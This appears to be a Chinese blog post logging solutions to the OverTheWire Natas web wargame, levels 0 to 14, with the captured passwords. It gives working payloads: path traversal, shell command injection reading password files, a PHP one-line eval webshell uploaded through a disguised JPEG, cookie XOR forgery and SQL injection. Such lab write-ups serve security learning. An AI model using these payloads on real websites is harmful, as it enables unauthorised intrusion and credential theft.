170816 WarGames-Natas(0-14)

1625-5 王子昂 总结《2017年8月16日》 【连续第318天总结】
A. WarGames-Natas
B.

Level 0

这次是网页题目了
啥都没有,提示在本页面 基础题先看源代码╮(╯_╰)╭


<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

轻松找到

Level 1

还是在源代码里,这次右击不允许
直接F12Chrome DevTools可以看到源代码
也可以在Chrome DevTools中把右键菜单的事件监听给改了(return True即可)

<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
Level 2

这次确实啥都没有了
查看源代码,发现有一个files/pixel的图片文件藏着,pixel.png只有一个像素,确实没有信息
不过可以看看files文件夹下,从url中进入,可以看到还存在一个users.txt,打开得到password:
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

Level 3

这次查看根目录下的robots.txt
发现Disallow:/s3cr3t/
它的意思是禁止搜索引擎的爬虫抓取s3cr3t目录
于是我们手动访问,发现users.txt
得到password:
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Leve 4

打开提示

Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

很明显,抓包篡改Refer项。这个项标识了用户是从哪个页面跳转过来的
用Burp Suite抓下来修改即可
这里写图片描述

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq 
Level 5
Access disallowed. You are not logged in

仍然是抓包解决
本来以为是Authtication,b64解码后发现是登录认证╮(╯_╰)╭
再接着找,在cookie里最后一项发现loggedin=0,改成1后成功

Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Level 6

给了PHP的源代码,是简单的密码验证


<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

查了半天PHP的相等比较漏洞
然后发现是直接浏览include的文件……OTZ

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

提交得到

Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
Level 7

页面上有两个链接,通过php读取文件显示,读取方式为index.php?page=xxx
构造php?page=natas8则显示错误信息:


Warning: include(natas): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21

Warning: include(): Failed opening 'natas' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21

得到文件读取目录/var/www/natas/natas7/
提示是password文件在/etc/natas_webpass/目录下,则构造page
../../../../etc/natas_webpass/natas8
读取得到password:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Level 8

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}

很简单的PHP脚本,对密码依次进行b64编码、逆序、StrToInt变换
写个脚本逆向即可

import base64
code="3d3d516343746d4d6d6c315669563362"
str=''
for i in range(len(code)//2):
    str=str+chr(int(code[2*i]+code[2*i+1],16))
print(base64.b64decode(str[::-1]))

oubWYf2kBq
Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Level 9
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

先随便输了个a试试,出现一大堆单词
你这还真是完完整整放了个字典啊OTZ

passthru函数执行外部命令,这个直接构造字符串不进行检查的方法很明显会包含一大堆漏洞
刚开始想跟直接cat的漏洞类似,在$key后加空格加别的文件来绕过dictionary.txt,不过因为目录不同好像也没法有什么想法
突然想到直接加分号输入别的命令不就好了么
构造”;cat /etc/natas_webpass/natas10;”,前后两个分号用来隔离grep和dic.txt
得到password:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Level 10

上一关把flag立起来了,这次加了shell命令分隔符”;|&”的检测
不让执行别的命令那我们就在grep上动手脚呗~
查了一下grep的选项和参数
发现可以多个文件,那么加入/etc/natas_webpass/natas11的参数,穷举一下数字即可
shellcode为”3 /etc/natas_webpass/natas11“

Output:
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
Level 11

这次对cookie在base64基础上还进行了XOR加密

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);//加载data

if(array_key_exists("bgcolor",$_REQUEST)) {//如果REQUEST中包含bgcolor
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
    //通过正则检索颜色代码
        $data['bgcolor'] = $_REQUEST['bgcolor'];//赋值入data中
    }
}

saveData($data);//服务器将新的cookie发送给客户端

在源代码中可以看到如果password的值为yes则显示下一关的pw
问题在于XOR的key是未知的,因此需要构造内容进行明文攻击
默认是#ffffff,输入#777777提交,抓包发送cookie中的
data=“ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=”
注意此时的data标识的bcolor为#ffffff的,因为新的cookie还没返回
再随便输入个内容提交,抓包,此时
data=“ClVLIh4ASCsCBE8lAxMacFMZ V2hdVVotEhhUJQNVAmhSQA99RkAPaAw=”
两个cookiet进行比较,发现靠后的8个字符出现了变化,说明这里就是代表颜色的字符
由于XOR的逆还是XOR,因此将它们与原字符串进行逐字xor
b64decode(EV4sFxFe) ^ ffffff
b64decode(QA99RkAP) ^ 777777
结果都是w8Jqw8,注意后两字符是前两字符的重复,大概率key长度就是4了
由于我们截取的bcolor值位于中间,因此key的顺序不确定
对原字符串进行b64解密后进行XOR穷举解密:

import base64
def XOR(str,key,s):#i表示偏移
    for i in range(len(str)):
        print(chr(ord(str[i]) ^ ord(key[(i+s)%len(key)])),end='')
    print()
cookie="ClVLIh4ASCsCBE8lAxMacFMZ V2hdVVotEhhUJQNVAmhSQA99RkAPaAw="#777777
cookie2="ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw="#ffffff
data=base64.b64decode(cookie)
for i in range(4):
    XOR(data.decode(),'w8Jq',i)

当偏移量=3时得到{“showpassword”:”no”,”bgcolor”:”#777777”}
即key=”qw8J”
将no修正为yes后进行XOR加密,再b64加密,修改包头提交完成

The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
Level 12

这次是上传文件漏洞的利用
核心问题在于如何令web将上传文件作为命令来解释执行,即后缀名必须控制为php才行
提示上传JPEG文件,大小不能超过1KB
写个一句话木马

<?php eval($_GET['command']);?>//将command的内容作为命令执行

直接上传发现文件名被重命名为xxx.jpg
查看源代码,发现随机文件名的函数工作在网页端
于是抓包,将filename改为.php后缀名
然后根据给出文件名运行
利用直接学到的passthru执行外部命令函数来构造URL

http://natas12.natas.labs.overthewire.org/upload/9d05zwsqz6.php?command=passthru("cat /etc/natas_webpass/natas13");

得到pw:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Level 13

这次虽然加入了在服务器端验证该文件是否为图像的exif_imagetype函数,但是上述漏洞仍然没有被解决
只要将php木马与jpeg图片合并,即“图种”制作即可
使用copy/b j.jpg+p.php j.jpg
然后上传j.jpg,抓包改变后缀名,同样方法执行cat命令即可
得到pw:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Level 14

查看源代码,发现是sql注入
query语句是简单的”包含,构造where子句恒真即可
password输入a" or "1"="1

Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

C. 明日计划
X shell网址生成方法逆向

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值